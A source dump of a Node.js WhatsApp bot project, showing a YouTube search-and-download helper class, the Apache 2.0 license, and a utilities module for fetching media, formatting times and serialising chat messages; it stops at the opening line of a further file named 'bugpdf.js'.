𝑩𝒚 𝑻𝒐𝒙𝒙𝒊𝒄 𝑩𝒐𝒚 2 | 3 | const ytdl = require('youtubedl-core'); 4 | const yts = require('youtube-yts'); 5 | const readline = require('readline'); 6 | const ffmpeg = require('fluent-ffmpeg') 7 | const NodeID3 = require('node-id3') 8 | const fs = require('fs'); 9 | const { fetchBuffer } = require("./myfunc2") 10 | const ytM = require('node-youtube-music') 11 | const { randomBytes } = require('crypto') 12 | const ytIdRegex = /(?:youtube\.com\/\S*(?:(?:\/e(?:mbed))?\/|watch\?(?:\S*?&?v\=))|youtu\.be\/)([a-zA-Z0-9_-]{6,11})/ 13 | 14 | class YT { 15 | constructor() { } 16 | 17 | /** 18 | * Checks if it is yt link 19 | * @param {string|URL} url youtube url 20 | * @returns Returns true if the given YouTube URL. 21 | */ 22 | static isYTUrl = (url) => { 23 | return ytIdRegex.test(url) 24 | } 25 | 26 | /** 27 | * VideoID from url 28 | * @param {string|URL} url to get videoID 29 | * @returns 30 | */ 31 | static getVideoID = (url) => { 32 | if (!this.isYTUrl(url)) throw new Error('is not YouTube URL') 33 | return ytIdRegex.exec(url)[1] 34 | } 35 | 36 | /** 37 | * @typedef {Object} IMetadata 38 | * @property {string} Title track title 39 | * @property {string} Artist track Artist 40 | * @property {string} Image track thumbnail url 41 | * @property {string} Album track album 42 | * @property {string} Year track release date 43 | */ 44 | 45 | /** 46 | * Write Track Tag Metadata 47 | * @param {string} filePath 48 | * @param {IMetadata} Metadata 49 | */ 50 | static WriteTags = async (filePath, Metadata) => { 51 | NodeID3.write( 52 | { 53 | title: Metadata.Title, 54 | artist: Metadata.Artist, 55 | originalArtist: Metadata.Artist, 56 | image: { 57 | mime: 'jpeg', 58 | type: { 59 | id: 3, 60 | name: 'front cover', 61 | }, 62 | imageBuffer: (await fetchBuffer(Metadata.Image)).buffer, 63 | description: `Cover of ${Metadata.Title}`, 64 | }, 65 | album: Metadata.Album, 66 | year: Metadata.Year || '' 67 | }, 68 | filePath 69 | ); 70 | } 71 | 72 | /** 73 | * 74 | * @param {string} query 75 | * @returns 76 | */ 77 | static search = async (query, options = {}) => { 78 | const search = await yts.search({ query, hl: 'id', gl: 'ID', ...options }) 79 | return search.videos 80 | } 81 | 82 | /** 83 | * @typedef {Object} TrackSearchResult 84 | * @property {boolean} isYtMusic is from YT Music search? 85 | * @property {string} title music title 86 | * @property {string} artist music artist 87 | * @property {string} id YouTube ID 88 | * @property {string} url YouTube URL 89 | * @property {string} album music album 90 | * @property {Object} duration music duration {seconds, label} 91 | * @property {string} image Cover Art 92 | */ 93 | 94 | /** 95 | * search track with details 96 | * @param {string} query 97 | * @returns {Promise} 98 | */ 99 | static searchTrack = (query) => { 100 | return new Promise(async (resolve, reject) => { 101 | try { 102 | let ytMusic = await ytM.searchMusics(query); 103 | let result = [] 104 | for (let i = 0; i < ytMusic.length; i++) { 105 | result.push({ 106 | isYtMusic: true, 107 | title: `${ytMusic[i].title} - ${ytMusic[i].artists.map(x => x.name).join(' ')}`, 108 | artist: ytMusic[i].artists.map(x => x.name).join(' '), 109 | id: ytMusic[i].youtubeId, 110 | url: 'https://youtu.be/' + ytMusic[i].youtubeId, 111 | album: ytMusic[i].album, 112 | duration: { 113 | seconds: ytMusic[i].duration.totalSeconds, 114 | label: ytMusic[i].duration.label 115 | }, 116 | image: ytMusic[i].thumbnailUrl.replace('w120-h120', 'w600-h600') 117 | }) 118 | 119 | } 120 | resolve(result) 121 | } catch (error) { 122 | reject(error) 123 | } 124 | }) 125 | } 126 | 127 | /** 128 | * @typedef {Object} MusicResult 129 | * @property {TrackSearchResult} meta music meta 130 | * @property {string} path file path 131 | */ 132 | 133 | /** 134 | * Download music with full tag metadata 135 | * @param {string|TrackSearchResult[]} query title of track want to download 136 | * @returns {Promise} filepath of the result 137 | */ 138 | static downloadMusic = async (query) => { 139 | try { 140 | const getTrack = Array.isArray(query) ? query : await this.searchTrack(query); 141 | const search = getTrack[0]//await this.searchTrack(query) 142 | const videoInfo = await ytdl.getInfo('https://www.youtube.com/watch?v=' + search.id, { lang: 'id' }); 143 | let stream = ytdl(search.id, { filter: 'audioonly', quality: 140 }); 144 | let songPath = `./XeonMedia/audio/${randomBytes(3).toString('hex')}.mp3` 145 | stream.on('error', (err) => console.log(err)) 146 | 147 | const file = await new Promise((resolve) => { 148 | ffmpeg(stream) 149 | .audioFrequency(44100) 150 | .audioChannels(2) 151 | .audioBitrate(128) 152 | .audioCodec('libmp3lame') 153 | .audioQuality(5) 154 | .toFormat('mp3') 155 | .save(songPath) 156 | .on('end', () => resolve(songPath)) 157 | }); 158 | await this.WriteTags(file, { Title: search.title, Artist: search.artist, Image: search.image, Album: search.album, Year: videoInfo.videoDetails.publishDate.split('-')[0] }); 159 | return { 160 | meta: search, 161 | path: file, 162 | size: fs.statSync(songPath).size 163 | } 164 | } catch (error) { 165 | throw new Error(error) 166 | } 167 | } 168 | 169 | /** 170 | * get downloadable video urls 171 | * @param {string|URL} query videoID or YouTube URL 172 | * @param {string} quality 173 | * @returns 174 | */ 175 | static mp4 = async (query, quality = 134) => { 176 | try { 177 | if (!query) throw new Error('Video ID or YouTube Url is required') 178 | const videoId = this.isYTUrl(query) ? this.getVideoID(query) : query 179 | const videoInfo = await ytdl.getInfo('https://www.youtube.com/watch?v=' + videoId, { lang: 'id' }); 180 | const format = ytdl.chooseFormat(videoInfo.formats, { format: quality, filter: 'videoandaudio' }) 181 | return { 182 | title: videoInfo.videoDetails.title, 183 | thumb: videoInfo.videoDetails.thumbnails.slice(-1)[0], 184 | date: videoInfo.videoDetails.publishDate, 185 | duration: videoInfo.videoDetails.lengthSeconds, 186 | channel: videoInfo.videoDetails.ownerChannelName, 187 | quality: format.qualityLabel, 188 | contentLength: format.contentLength, 189 | description:videoInfo.videoDetails.description, 190 | videoUrl: format.url 191 | } 192 | } catch (error) { 193 | throw error 194 | } 195 | } 196 | 197 | /** 198 | * Download YouTube to mp3 199 | * @param {string|URL} url YouTube link want to download to mp3 200 | * @param {IMetadata} metadata track metadata 201 | * @param {boolean} autoWriteTags if set true, it will auto write tags meta following the YouTube info 202 | * @returns 203 | */ 204 | static mp3 = async (url, metadata = {}, autoWriteTags = false) => { 205 | try { 206 | if (!url) throw new Error('Video ID or YouTube Url is required') 207 | url = this.isYTUrl(url) ? 'https://www.youtube.com/watch?v=' + this.getVideoID(url) : url 208 | const { videoDetails } = await ytdl.getInfo(url, { lang: 'id' }); 209 | let stream = ytdl(url, { filter: 'audioonly', quality: 140 }); 210 | let songPath = `./XeonMedia/audio/${randomBytes(3).toString('hex')}.mp3` 211 | 212 | let starttime; 213 | stream.once('response', () => { 214 | starttime = Date.now(); 215 | }); 216 | stream.on('progress', (chunkLength, downloaded, total) => { 217 | const percent = downloaded / total; 218 | const downloadedMinutes = (Date.now() - starttime) / 1000 / 60; 219 | const estimatedDownloadTime = (downloadedMinutes / percent) - downloadedMinutes; 220 | readline.cursorTo(process.stdout, 0); 221 | process.stdout.write(`${(percent * 100).toFixed(2)}% downloaded `); 222 | process.stdout.write(`(${(downloaded / 1024 / 1024).toFixed(2)}MB of ${(total / 1024 / 1024).toFixed(2)}MB)\n`); 223 | process.stdout.write(`running for: ${downloadedMinutes.toFixed(2)}minutes`); 224 | process.stdout.write(`, estimated time left: ${estimatedDownloadTime.toFixed(2)}minutes `); 225 | readline.moveCursor(process.stdout, 0, -1); 226 | //let txt = `${bgColor(color('[FFMPEG]]', 'black'), '#38ef7d')} ${color(moment().format('DD/MM/YY HH:mm:ss'), '#A1FFCE')} ${gradient.summer('[Converting..]')} ${gradient.cristal(p.targetSize)} kb` 227 | }); 228 | stream.on('end', () => process.stdout.write('\n\n')); 229 | stream.on('error', (err) => console.log(err)) 230 | 231 | const file = await new Promise((resolve) => { 232 | ffmpeg(stream) 233 | .audioFrequency(44100) 234 | .audioChannels(2) 235 | .audioBitrate(128) 236 | .audioCodec('libmp3lame') 237 | .audioQuality(5) 238 | .toFormat('mp3') 239 | .save(songPath) 240 | .on('end', () => { 241 | resolve(songPath) 242 | }) 243 | }); 244 | if (Object.keys(metadata).length !== 0) { 245 | await this.WriteTags(file, metadata) 246 | } 247 | if (autoWriteTags) { 248 | await this.WriteTags(file, { Title: videoDetails.title, Album: videoDetails.author.name, Year: videoDetails.publishDate.split('-')[0], Image: videoDetails.thumbnails.slice(-1)[0].url }) 249 | } 250 | return { 251 | meta: { 252 | title: videoDetails.title, 253 | channel: videoDetails.author.name, 254 | seconds: videoDetails.lengthSeconds, 255 | image: videoDetails.thumbnails.slice(-1)[0].url 256 | }, 257 | path: file, 258 | size: fs.statSync(songPath).size 259 | } 260 | } catch (error) { 261 | throw error 262 | } 263 | } 264 | } 265 | 266 | module.exports = YT; -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /lib/myfunc.js: -------------------------------------------------------------------------------- 1 | //𝑩𝒂𝒔𝒆 𝑩𝒚 𝑻𝒐𝒙𝒙𝒊𝒄 2 | 3 | const { 4 | proto, 5 | delay, 6 | getContentType 7 | } = require('@whiskeysockets/baileys') 8 | const chalk = require('chalk') 9 | const fs = require('fs') 10 | const Crypto = require('crypto') 11 | const axios = require('axios') 12 | const moment = require('moment-timezone') 13 | const { 14 | sizeFormatter 15 | } = require('human-readable') 16 | const util = require('util') 17 | const Jimp = require('jimp') 18 | const { 19 | defaultMaxListeners 20 | } = require('stream') 21 | 22 | const unixTimestampSeconds = (date = new Date()) => Math.floor(date.getTime() / 1000) 23 | 24 | exports.unixTimestampSeconds = unixTimestampSeconds 25 | 26 | exports.generateMessageTag = (epoch) => { 27 | let tag = (0, exports.unixTimestampSeconds)().toString(); 28 | if (epoch) 29 | tag += '.--' + epoch; // attach epoch if provided 30 | return tag; 31 | } 32 | 33 | exports.processTime = (timestamp, now) => { 34 | return moment.duration(now - moment(timestamp * 1000)).asSeconds() 35 | } 36 | 37 | exports.getRandom = (ext) => { 38 | return `${Math.floor(Math.random() * 10000)}${ext}` 39 | } 40 | 41 | exports.getBuffer = async (url, options) => { 42 | try { 43 | options ? options : {} 44 | const res = await axios({ 45 | method: "get", 46 | url, 47 | headers: { 48 | 'DNT': 1, 49 | 'Upgrade-Insecure-Request': 1 50 | }, 51 | ...options, 52 | responseType: 'arraybuffer' 53 | }) 54 | return res.data 55 | } catch (err) { 56 | return err 57 | } 58 | } 59 | 60 | exports.getImg = async (url, options) => { 61 | try { 62 | options ? options : {} 63 | const res = await axios({ 64 | method: "get", 65 | url, 66 | headers: { 67 | 'DNT': 1, 68 | 'Upgrade-Insecure-Request': 1 69 | }, 70 | ...options, 71 | responseType: 'arraybuffer' 72 | }) 73 | return res.data 74 | } catch (err) { 75 | return err 76 | } 77 | } 78 | 79 | exports.fetchJson = async (url, options) => { 80 | try { 81 | options ? options : {} 82 | const res = await axios({ 83 | method: 'GET', 84 | url: url, 85 | headers: { 86 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36' 87 | }, 88 | ...options 89 | }) 90 | return res.data 91 | } catch (err) { 92 | return err 93 | } 94 | } 95 | 96 | exports.runtime = function(seconds) { 97 | seconds = Number(seconds); 98 | var d = Math.floor(seconds / (3600 * 24)); 99 | var h = Math.floor(seconds % (3600 * 24) / 3600); 100 | var m = Math.floor(seconds % 3600 / 60); 101 | var s = Math.floor(seconds % 60); 102 | var dDisplay = d > 0 ? d + (d == 1 ? " day, " : " days, ") : ""; 103 | var hDisplay = h > 0 ? h + (h == 1 ? " hour, " : " hours, ") : ""; 104 | var mDisplay = m > 0 ? m + (m == 1 ? " minute, " : " minutes, ") : ""; 105 | var sDisplay = s > 0 ? s + (s == 1 ? " second" : " seconds") : ""; 106 | return dDisplay + hDisplay + mDisplay + sDisplay; 107 | } 108 | 109 | exports.clockString = (ms) => { 110 | let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000) 111 | let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60 112 | let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60 113 | return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':') 114 | } 115 | 116 | exports.sleep = async (ms) => { 117 | return new Promise(resolve => setTimeout(resolve, ms)); 118 | } 119 | 120 | exports.isUrl = (url) => { 121 | return url.match(new RegExp(/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_+.~#?&/=]*)/, 'gi')) 122 | } 123 | 124 | exports.getTime = (format, date) => { 125 | if (date) { 126 | return moment(date).locale('id').format(format) 127 | } else { 128 | return moment.tz('Africa/Lagos').locale('id').format(format) 129 | } 130 | } 131 | 132 | exports.formatDate = (n, locale = 'id') => { 133 | let d = new Date(n) 134 | return d.toLocaleDateString(locale, { 135 | weekday: 'long', 136 | day: 'numeric', 137 | month: 'long', 138 | year: 'numeric', 139 | hour: 'numeric', 140 | minute: 'numeric', 141 | second: 'numeric' 142 | }) 143 | } 144 | 145 | exports.tanggal = (numer) => { 146 | myMonths = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"]; 147 | myDays = ['Minggu', 'Senin', 'Selasa', 'Rabu', 'Kamis', 'Jum’at', 'Sabtu']; 148 | var tgl = new Date(numer); 149 | var day = tgl.getDate() 150 | bulan = tgl.getMonth() 151 | var thisDay = tgl.getDay(), 152 | thisDay = myDays[thisDay]; 153 | var yy = tgl.getYear() 154 | var year = (yy < 1000) ? yy + 1900 : yy; 155 | const time = moment.tz('Africa/Lagos').format('DD/MM HH:mm:ss') 156 | let d = new Date 157 | let locale = 'id' 158 | let gmt = new Date(0).getTime() - new Date('1 January 1970').getTime() 159 | let weton = ['Pahing', 'Pon', 'Wage', 'Kliwon', 'Legi'][Math.floor(((d * 1) + gmt) / 84600000) % 5] 160 | 161 | return `${thisDay}, ${day} - ${myMonths[bulan]} - ${year}` 162 | } 163 | exports.jam = (numer, options = {}) => { 164 | let format = options.format ? options.format : "HH:mm" 165 | let jam = options?.timeZone ? moment(numer).tz(timeZone).format(format) : moment(numer).format(format) 166 | 167 | return `${jam}` 168 | } 169 | 170 | exports.formatp = sizeFormatter({ 171 | std: 'JEDEC', //'SI' = default | 'IEC' | 'JEDEC' 172 | decimalPlaces: 2, 173 | keepTrailingZeroes: false, 174 | render: (literal, symbol) => `${literal} ${symbol}B`, 175 | }) 176 | 177 | exports.json = (string) => { 178 | return JSON.stringify(string, null, 2) 179 | } 180 | 181 | function format(...args) { 182 | return util.format(...args) 183 | } 184 | 185 | exports.logic = (check, inp, out) => { 186 | if (inp.length !== out.length) throw new Error('Input and Output must have same length') 187 | for (let i in inp) 188 | if (util.isDeepStrictEqual(check, inp[i])) return out[i] 189 | return null 190 | } 191 | 192 | exports.generateProfilePicture = async (buffer) => { 193 | const jimp = await Jimp.read(buffer) 194 | const min = jimp.getWidth() 195 | const max = jimp.getHeight() 196 | const cropped = jimp.crop(0, 0, min, max) 197 | return { 198 | img: await cropped.scaleToFit(720, 720).getBufferAsync(Jimp.MIME_JPEG), 199 | preview: await cropped.scaleToFit(720, 720).getBufferAsync(Jimp.MIME_JPEG) 200 | } 201 | } 202 | 203 | exports.bytesToSize = (bytes, decimals = 2) => { 204 | if (bytes === 0) return '0 Bytes'; 205 | 206 | const k = 1024; 207 | const dm = decimals < 0 ? 0 : decimals; 208 | const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB']; 209 | 210 | const i = Math.floor(Math.log(bytes) / Math.log(k)); 211 | 212 | return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i]; 213 | } 214 | 215 | exports.getSizeMedia = (path) => { 216 | return new Promise((resolve, reject) => { 217 | if (/http/.test(path)) { 218 | axios.get(path) 219 | .then((res) => { 220 | let length = parseInt(res.headers['content-length']) 221 | let size = exports.bytesToSize(length, 3) 222 | if (!isNaN(length)) resolve(size) 223 | }) 224 | } else if (Buffer.isBuffer(path)) { 225 | let length = Buffer.byteLength(path) 226 | let size = exports.bytesToSize(length, 3) 227 | if (!isNaN(length)) resolve(size) 228 | } else { 229 | reject('error gatau apah') 230 | } 231 | }) 232 | } 233 | 234 | exports.parseMention = (text = '') => { 235 | return [...text.matchAll(/@([0-9]{5,16}|0)/g)].map(v => v[1] + '@s.whatsapp.net') 236 | } 237 | 238 | exports.getGroupAdmins = (participants) => { 239 | let admins = [] 240 | for (let i of participants) { 241 | i.admin === "superadmin" ? admins.push(i.id) : i.admin === "admin" ? admins.push(i.id) : '' 242 | } 243 | return admins || [] 244 | } 245 | 246 | /** 247 | * Serialize Message 248 | * @param {WAConnection} conn 249 | * @param {Object} m 250 | * @param {store} store 251 | */ 252 | exports.smsg = (ToxxicTech, m, store) => { 253 | if (!m) return m 254 | let M = proto.WebMessageInfo 255 | if (m.key) { 256 | m.id = m.key.id 257 | m.isBaileys = m.id.startsWith('BAE5') && m.id.length === 16 258 | m.chat = m.key.remoteJid 259 | m.fromMe = m.key.fromMe 260 | m.isGroup = m.chat.endsWith('@g.us') 261 | m.sender = ToxxicTech.decodeJid(m.fromMe && ToxxicTech.user.id || m.participant || m.key.participant || m.chat || '') 262 | if (m.isGroup) m.participant = ToxxicTech.decodeJid(m.key.participant) || '' 263 | } 264 | if (m.message) { 265 | m.mtype = getContentType(m.message) 266 | m.msg = (m.mtype == 'viewOnceMessage' ? m.message[m.mtype].message[getContentType(m.message[m.mtype].message)] : m.message[m.mtype]) 267 | m.body = m.message.conversation || m.msg.caption || m.msg.text || (m.mtype == 'listResponseMessage') && m.msg.singleSelectReply.selectedRowId || (m.mtype == 'buttonsResponseMessage') && m.msg.selectedButtonId || (m.mtype == 'viewOnceMessage') && m.msg.caption || m.text 268 | let quoted = m.quoted = m.msg.contextInfo ? m.msg.contextInfo.quotedMessage : null 269 | m.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : [] 270 | if (m.quoted) { 271 | let type = getContentType(quoted) 272 | m.quoted = m.quoted[type] 273 | if (['productMessage'].includes(type)) { 274 | type = getContentType(m.quoted) 275 | m.quoted = m.quoted[type] 276 | } 277 | if (typeof m.quoted === 'string') m.quoted = { 278 | text: m.quoted 279 | } 280 | m.quoted.mtype = type 281 | m.quoted.id = m.msg.contextInfo.stanzaId 282 | m.quoted.chat = m.msg.contextInfo.remoteJid || m.chat 283 | m.quoted.isBaileys = m.quoted.id ? m.quoted.id.startsWith('BAE5') && m.quoted.id.length === 16 : false 284 | m.quoted.sender = ToxxicTech.decodeJid(m.msg.contextInfo.participant) 285 | m.quoted.fromMe = m.quoted.sender === (ToxxicTech.user && ToxxicTech.user.id) 286 | m.quoted.text = m.quoted.text || m.quoted.caption || m.quoted.conversation || m.quoted.contentText || m.quoted.selectedDisplayText || m.quoted.title || '' 287 | m.quoted.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : [] 288 | m.getQuotedObj = m.getQuotedMessage = async () => { 289 | if (!m.quoted.id) return false 290 | let q = await store.loadMessage(m.chat, m.quoted.id, ToxxicTech) 291 | return exports.smsg(ToxxicTech, q, store) 292 | } 293 | let vM = m.quoted.fakeObj = M.fromObject({ 294 | key: { 295 | remoteJid: m.quoted.chat, 296 | fromMe: m.quoted.fromMe, 297 | id: m.quoted.id 298 | }, 299 | message: quoted, 300 | ...(m.isGroup ? { 301 | participant: m.quoted.sender 302 | } : {}) 303 | }) 304 | 305 | /** 306 | * 307 | * @returns 308 | */ 309 | m.quoted.delete = () => ToxxicTech.sendMessage(m.quoted.chat, { 310 | delete: vM.key 311 | }) 312 | 313 | /** 314 | * 315 | * @param {*} jid 316 | * @param {*} forceForward 317 | * @param {*} options 318 | * @returns 319 | */ 320 | m.quoted.copyNForward = (jid, forceForward = false, options = {}) => ToxxicTech.copyNForward(jid, vM, forceForward, options) 321 | 322 | /** 323 | * 324 | * @returns 325 | */ 326 | m.quoted.download = () => ToxxicTech.downloadMediaMessage(m.quoted) 327 | } 328 | } 329 | if (m.msg.url) m.download = () => ToxxicTech.downloadMediaMessage(m.msg) 330 | m.text = m.msg.text || m.msg.caption || m.message.conversation || m.msg.contentText || m.msg.selectedDisplayText || m.msg.title || '' 331 | /** 332 | * Reply to this message 333 | * @param {String|Object} text 334 | * @param {String|false} chatId 335 | * @param {Object} options 336 | */ 337 | m.reply = (text, chatId = m.chat, options = {}) => Buffer.isBuffer(text) ? ToxxicTech.sendMedia(chatId, text, 'file', '', m, { 338 | ...options 339 | }) : ToxxicTech.sendText(chatId, text, m, { 340 | ...options 341 | }) 342 | /** 343 | * Copy this message 344 | */ 345 | m.copy = () => exports.smsg(ToxxicTech, M.fromObject(M.toObject(m))) 346 | 347 | /** 348 | * 349 | * @param {*} jid 350 | * @param {*} forceForward 351 | * @param {*} options 352 | * @returns 353 | */ 354 | m.copyNForward = (jid = m.chat, forceForward = false, options = {}) => ToxxicTech.copyNForward(jid, m, forceForward, options) 355 | 356 | return m 357 | } 358 | exports.reSize = (buffer, ukur1, ukur2) => { 359 | return new Promise(async (resolve, reject) => { 360 | var baper = await Jimp.read(buffer); 361 | var ab = await baper.resize(ukur1, ukur2).getBufferAsync(Jimp.MIME_JPEG) 362 | resolve(ab) 363 | }) 364 | } 365 | 366 | let file = require.resolve(__filename) 367 | fs.watchFile(file, () => { 368 | fs.unwatchFile(file) 369 | console.log(chalk.redBright(`Update ${__filename}`)) 370 | delete require.cache[file] 371 | require(file) 372 | }) -------------------------------------------------------------------------------- /Toxxic/bugpdf.js: -------------------------------------------------------------------------------- 1 | const bugpdf = 